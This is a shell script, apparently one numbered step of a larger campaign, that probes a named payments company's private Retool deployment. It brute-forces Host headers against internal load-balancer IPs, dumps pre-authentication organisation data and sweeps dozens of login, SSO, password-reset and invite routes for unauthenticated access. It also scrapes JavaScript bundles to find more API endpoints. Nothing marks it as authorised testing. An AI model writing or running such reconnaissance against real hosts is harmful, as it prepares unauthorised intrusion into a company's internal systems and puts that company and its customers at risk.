composer-helper/rt8.sh
2026-10-22 15:25:48 +00:00

56 lines
3.9 KiB
Bash

#!/bin/sh
# Intent 20337 step 8: ALB host-rule candidates, preAuthData full values, anon route sweep.
C="curl -sk -m 8 --connect-timeout 3"
T=/tmp/rt20337h
mkdir -p "$T" 2>/dev/null
echo "== ALB HOST CANDIDATES"
for ip in 172.31.65.91 172.31.67.237; do
for hh in retooldata-code-executor.private.paystack.co code-executor.private.paystack.co codeexecutor.private.paystack.co retooldata-workflow.private.paystack.co retooldata-workflows.private.paystack.co workflow-backend.private.paystack.co workflow-worker.private.paystack.co workflows.private.paystack.co retool-code-executor.private.paystack.co retool-workflow.private.paystack.co data-platform.private.paystack.co dataplatform.private.paystack.co retool-enterprise.private.paystack.co; do
$C -k -o "$T/b" -w "%{http_code} %{size_download}" -H "Host: $hh" "https://$ip/api/checkHealth" >"$T/s" 2>"$T/e"
r=$(cat "$T/s" 2>/dev/null)
case "$r" in
404*) continue;;
esac
echo "GET $ip Host=$hh -> $r :: $(head -c 80 "$T/b" 2>/dev/null | tr '\r\n' ' ')"
done
done
echo "== PREAUTH ALL KEYS retooldata"
$C -o "$T/p" -w "preauth %{http_code} %{size_download}\n" "https://retooldata.private.paystack.co/api/organization/preAuthData"
/usr/local/bin/php -r '$j=json_decode(@file_get_contents("/tmp/rt20337h/p"),true); if(!is_array($j)){echo "parse-fail\n";exit;} foreach($j as $k=>$v){ if(is_string($v)){$s=$v; if(strlen($s)>160){$s=substr($s,0,160)."...(len".strlen($v).")";} echo $k."=".$s."\n";} elseif(is_scalar($v)||is_null($v)){echo $k."=".json_encode($v)."\n";} else {echo $k."=".substr(json_encode($v),0,200)."\n";} }'
echo "== PREAUTH ALL KEYS retool"
$C -o "$T/p2" -w "preauth2 %{http_code} %{size_download}\n" "https://retool.private.paystack.co/api/organization/preAuthData"
/usr/local/bin/php -r '$j=json_decode(@file_get_contents("/tmp/rt20337h/p2"),true); if(!is_array($j)){echo "parse-fail\n";exit;} foreach($j as $k=>$v){ echo $k."=".substr(json_encode($v),0,160)."\n"; }'
echo "== ANON ROUTE SWEEP"
for h in retooldata.private.paystack.co retool.private.paystack.co; do
echo "-- $h"
for p in /api/organization/preAuthData /api/organization/logo /api/organization /api/organizations /api/checkHealth /api/health /api/healthz /api/version /api/config /api/status /api/license /api/usage /api/verifyEmail /api/verify-email /api/email/verify /api/forgotPassword /api/forgot_password /api/password/forgot /api/resetPassword /api/reset-password /api/password/reset /api/invite /api/invites /api/invite/accept /api/organization/invite /api/organization/requestAccess /api/requestAccess /api/oauth/authorize /api/oauth/callback /api/oauth/login /api/oauth/google /api/auth/google /api/auth/callback /api/auth/config /api/sso /api/sso/saml /api/sso/saml/login /api/sso/saml/metadata /api/sso/oidc/login /api/sso/oidc/callback /api/2fa /api/2fa/status /api/login/2fa /api/embed /api/embeddable /api/public/apps /api/public/applications /api/public /api/apps/public /api/sourceControl /api/versionControl /api/git /api/metrics /metrics; do
$C -o "$T/b" -w "%{http_code} %{size_download}" "https://$h$p" >"$T/s" 2>"$T/e"
code=$(cat "$T/s" 2>/dev/null)
body=$(head -c 90 "$T/b" 2>/dev/null | tr '\r\n' ' ')
case "$code" in
401*) continue;;
esac
echo "GET $p -> $code :: $body"
done
done
echo "== JS BUNDLE ENDPOINTS"
H=retooldata.private.paystack.co
$C -o "$T/r" "https://$H/"
grep -oE 'src="[^"]+\.js[^"]*"' "$T/r" 2>/dev/null | sed 's/src="//;s/"$//' | head -6 > "$T/js"
cat "$T/js"
i=0
while read -r js; do
i=$((i+1))
[ $i -gt 3 ] && break
case "$js" in /*) u="https://$H$js";; *) u="https://$H/$js";; esac
$C -m 25 -o "$T/j$i" "$u" 2>/dev/null
echo "-- $u size=$(wc -c < "$T/j$i" 2>/dev/null)"
grep -oE '"/api/[A-Za-z0-9_./-]{2,80}"' "$T/j$i" 2>/dev/null | tr -d '"' | sort -u | grep -iE 'public|oauth|sso|signup|login|verify|forgot|reset|invite|email|token|health|preauth|imageproxy|embed|license|organization|config' | head -60
done < "$T/js"
echo "RT8DONE"